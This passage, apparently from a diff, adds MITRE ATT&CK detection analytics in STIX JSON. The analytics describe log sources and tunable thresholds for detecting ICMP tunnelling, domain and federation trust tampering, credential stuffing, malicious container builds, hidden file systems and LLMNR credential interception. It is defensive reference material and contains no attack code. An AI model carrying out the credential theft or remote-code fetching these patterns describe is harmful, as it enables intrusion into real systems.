"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UnsignedBinaryNetworkUsage", + "description": "Detection threshold for unsigned or transient binaries making ICMP/UDP calls." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cae917e6-7542-41d0-8b03-ad2b7ab1eb01", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0457#AN1257", + "external_id": "AN1257" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1257", + "description": "VMCI (Virtual Machine Communication Interface) traffic between guest and host, or between VMs, originating from non-management tools or unauthorized binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxi:vmkernel", + "channel": "VMCI syslog entries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VMCIBackdoorProcess", + "description": "Monitor for non-vSphere or VMware-native processes using VMCI." + }, + { + "field": "GuestToHostCommPattern", + "description": "Baseline pattern of guest-to-host traffic vs anomaly (unexpected port, volume)." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--688ed638-d3ba-47dc-baa7-16b16a9fe9c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0457#AN1258", + "external_id": "AN1258" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1258", + "description": "Non-standard port/protocol pairings or low-entropy ICMP traffic resembling tunneling patterns (e.g., fixed-size pings with delays).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Firewall", + "channel": "ICMP/UDP protocol anomaly" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "conn.log, icmp.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProtocolEntropyThreshold", + "description": "ICMP/UDP packet content entropy filter to identify encoded payloads." + }, + { + "field": "SessionDurationThreshold", + "description": "Long ICMP/UDP sessions beyond expected limits (e.g., >5min)." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c84ed29d-c0bf-465c-9e4a-7685cd4ff444", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0458#AN1259", + "external_id": "AN1259" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1259", + "description": "Adversary modifies Active Directory domain trust settings via `netdom`, `nltest`, or PowerShell to add new domain trust or alter federation. Modifications occur in AD object attributes like trustDirection, trustType, trustAttributes, often paired with SeEnableDelegationPrivilege or certificate injection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:Security", + "channel": "EventCode=5136,5137,5141" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "WinEventLog:Security", + "channel": "EventCode=4704" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ObjectType", + "description": "Focus on `trustedDomain` or `foreignSecurityPrincipal` AD objects in trust containers." + }, + { + "field": "AttributeModified", + "description": "Monitor attributes like `trustPartner`, `trustDirection`, `trustType`, `msDS-TrustForestTrustInfo`." + }, + { + "field": "TimeWindow", + "description": "Correlate trust creation with unusual logon events or certificate modifications." + }, + { + "field": "UserContext", + "description": "Flag rare accounts or non-standard admin users performing trust changes." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a2d3072a-0f3a-46a1-a92e-f0d7ae030b48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0458#AN1260", + "external_id": "AN1260" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1260", + "description": "Adversary adds federated identity provider (IdP) or modifies tenant domain authentication from Managed to Federated. Detected via API, PowerShell, or Admin Portal through federation events like `Set domain authentication`, `Add federated identity provider`, or `Update-MsolFederatedDomain`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Set federation settings on domain|Set domain authentication|Add federated identity provider" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "azure:signinLogs", + "channel": "OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OperationName", + "description": "Identify rare trust-modification operations (SetDomainAuthentication, Update-MsolFederatedDomain)." + }, + { + "field": "InitiatedBy", + "description": "Flag federated trust changes performed by unknown users, service principals, or tokens." + }, + { + "field": "UserAgent", + "description": "Separate scripted/API interactions from GUI-based administrative changes." + }, + { + "field": "TimeWindow", + "description": "Correlate trust change to federated login or SAML token injection within short window." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f568a973-fb34-41aa-950f-f46457544564", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0459#AN1261", + "external_id": "AN1261" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1261", + "description": "Detection of container image build activity directly on the host using Docker or Kubernetes APIs. Defenders may observe Docker build requests, anomalous Dockerfile instructions (such as downloading code from unknown IPs), or creation of new images followed by immediate deployment. This behavior chain typically consists of an unexpected image creation event correlated with outbound network communication to non-standard or untrusted destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e", + "name": "docker:daemon", + "channel": "docker build or POST /build API request" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "outbound connections from host during or immediately after image build" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RegistryAllowList", + "description": "Defines trusted registries for image pulls/builds. Builds referencing unapproved registries may indicate adversary behavior." + }, + { + "field": "NewImageThreshold", + "description": "Threshold for number of new custom images created in a given time window. Exceeding this threshold may indicate malicious builds." + }, + { + "field": "TimeWindow", + "description": "Defines correlation window (e.g., 5m) between suspicious build activity and subsequent network traffic anomalies." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e3e2d59b-220f-43b0-9891-7b299be27c50", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0460#AN1262", + "external_id": "AN1262" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1262", + "description": "Multiple failed authentication attempts using distinct username/password pairs from a single IP address or session within a short time window, targeting common services like RDP or SMB", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4625" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UsernameUniquenessThreshold", + "description": "Minimum number of unique usernames in failed login attempts before triggering alert" + }, + { + "field": "TimeWindow", + "description": "Duration (e.g., 5 minutes) to observe the behavior chain of rapid login attempts" + }, + { + "field": "SourceIPScope", + "description": "Whether to group by full IP or CIDR block for bursty behavior from botnets" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--95d381e5-f2d6-4164-9917-57f9b070333b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0460#AN1263", + "external_id": "AN1263" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1263", + "description": "Rapid login failures across different users from a single IP address, targeting SSH or PAM login with distinct username-password pairs", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "linux:syslog", + "channel": "SSH failed login" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LoginFailureRatio", + "description": "Ratio of failed logins per unique user attempted" + }, + { + "field": "AuthServiceFilter", + "description": "Restrict detection to certain protocols (e.g., sshd, login, su)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e2f104ac-b21a-4c48-8987-3e0ad73997df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0460#AN1264", + "external_id": "AN1264" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1264", + "description": "Burst of failed authentications with rotating usernames against loginwindow or remote management service using reused breached credentials", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "macos:unifiedlog", + "channel": "Login failure / authorization denied" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DistinctUsernameCount", + "description": "Tunable threshold for number of attempted usernames in a time window" + }, + { + "field": "RemoteAccessFilter", + "description": "Restrict behavior detection to remote login interfaces" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--24e6cefb-6e1c-4676-9bb8-74f6a731703c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0460#AN1265", + "external_id": "AN1265" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1265", + "description": "Same source IP performing multiple authentication attempts using known breached username/password combinations across different identities in Azure AD, Okta, or Duo", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "status = failure" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BreachedCredentialSourceMatch", + "description": "Optional enrichment using known leaked credentials database" + }, + { + "field": "SSOServiceScope", + "description": "Targeting only federated or hybrid identity auth flows" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cfff571f-eb6b-41e2-a447-f69bc07aa77a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0460#AN1266", + "external_id": "AN1266" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1266", + "description": "Multiple sign-in failures against cloud-based applications using username/password combinations leaked from unrelated domains", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas-app:auth", + "channel": "login_failure" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAccountOverlap", + "description": "Correlate credentials reused across multiple SaaS platforms" + }, + { + "field": "FailedAttemptsPerIP", + "description": "Number of failed logins from same IP before alerting" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4a930e8d-75eb-469d-82d8-1e1d5764a6d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0460#AN1267", + "external_id": "AN1267" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1267", + "description": "Router/firewall/syslog logs showing authentication failures with unique usernames and reused credentials from same source IP", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "AAA, RADIUS, or TACACS authentication" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthProtocolFilter", + "description": "Limit detection to interactive logins rather than SNMP/RPC" + }, + { + "field": "FailedAuthBurst", + "description": "Detection trigger when failure rate exceeds normal profile" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--23c7fff8-de08-49dd-a101-0c35ad40bd7e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0460#AN1268", + "external_id": "AN1268" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1268", + "description": "Credential stuffing attempts against Kubernetes API or containerized login shells using stolen or leaked user credentials", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "kubernetes:apiserver", + "channel": "authentication.k8s.io/v1beta1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PodAccessScope", + "description": "Detect attempts across multiple pods/namespaces using same IP" + }, + { + "field": "CredentialSetSize", + "description": "Number of username/password pairs used in attack attempt" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1b3bbeab-2000-47d6-88f9-8ed519f9bed6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0460#AN1269", + "external_id": "AN1269" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1269", + "description": "Use of leaked credential pairs against Outlook Web Access (OWA), Microsoft 365, or Exchange from a single client IP with multiple failures", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "m365:exchange", + "channel": "Logon failure" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PasswordSourceMatch", + "description": "Optional: cross-reference to haveibeenpwned or internal credential dumps" + }, + { + "field": "MailboxLoginThreshold", + "description": "Tunable value for how many unique mailbox attempts trigger alert" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--de41a23b-b07d-411b-80f7-d1a8f55ba459", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0460#AN1270", + "external_id": "AN1270" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1270", + "description": "Burst of failed login attempts across VM instances using leaked credential pairs from single IP in public cloud environments", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "AWS:CloudTrail", + "channel": "eventName=ConsoleLogin | eventType=AwsConsoleSignIn" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InstanceIDScope", + "description": "Define if detection should group logins per host or across cluster" + }, + { + "field": "IPBehaviorHistory", + "description": "Correlate against past IP reputation or behavioral profiles" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8d7fb300-189d-4654-ba66-3612a8a4cf65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0461#AN1271", + "external_id": "AN1271" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1271", + "description": "Anomalous creation or mounting of hidden partitions or virtual file systems. Defender view: detection of registry modifications linked to non-standard file systems, suspicious disk I/O patterns, or bootkit-like behavior where hidden volumes are accessed outside normal file system APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "etw:Microsoft-Windows-Kernel-Storage", + "channel": "Raw disk I/O operations bypassing NTFS APIs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredRegistryKeys", + "description": "Specify registry paths for mount points and hidden partition configs." + }, + { + "field": "DiskIOThreshold", + "description": "Tune thresholds for raw disk access outside expected drivers." + }, + { + "field": "TimeWindow", + "description": "Correlate boot-time anomalies with hidden file system mounting activity." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--35300a0c-e135-4865-9fe5-9d65a1c77dda", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0461#AN1272", + "external_id": "AN1272" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1272", + "description": "Unusual mounting of loopback or pseudo file systems not aligned with legitimate administrative activity. Defender view: monitoring auditd and syslog for mount commands involving suspicious mount points, reserved blocks, or device mappings indicative of hidden partitions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "mount or losetup commands creating hidden or encrypted FS" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:syslog", + "channel": "Sudo or root escalation followed by filesystem mount commands" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedMountPoints", + "description": "Whitelist standard mount points to reduce false positives." + }, + { + "field": "UserContext", + "description": "Flag root escalation during mount operations." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--82908b5f-fa84-4420-bb1c-cc77e12e9d3c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0461#AN1273", + "external_id": "AN1273" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1273", + "description": "Hidden file system use through APFS containers or custom plist configuration. Defender view: anomalous use of hdiutil or diskutil to attach hidden partitions, modification of plist entries tied to system volumes, or suspicious raw disk access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of diskutil or hdiutil attaching hidden partitions" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Hidden volume attachment or modification events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPlistPaths", + "description": "Adjust to target only relevant plist files linked to volume mounting." + }, + { + "field": "ProcessScope", + "description": "Restrict monitoring to sensitive processes like diskutil and hdiutil." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eb031858-bf91-476e-8248-2c54ef0f0864", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0462#AN1274", + "external_id": "AN1274" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1274", + "description": "Detects anomalous network traffic on UDP 5355 (LLMNR) and UDP 137 (NBT-NS) combined with unauthorized SMB relay attempts, registry modifications re-enabling multicast name resolution, or suspicious service creation indicative of adversary-in-the-middle credential interception.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": 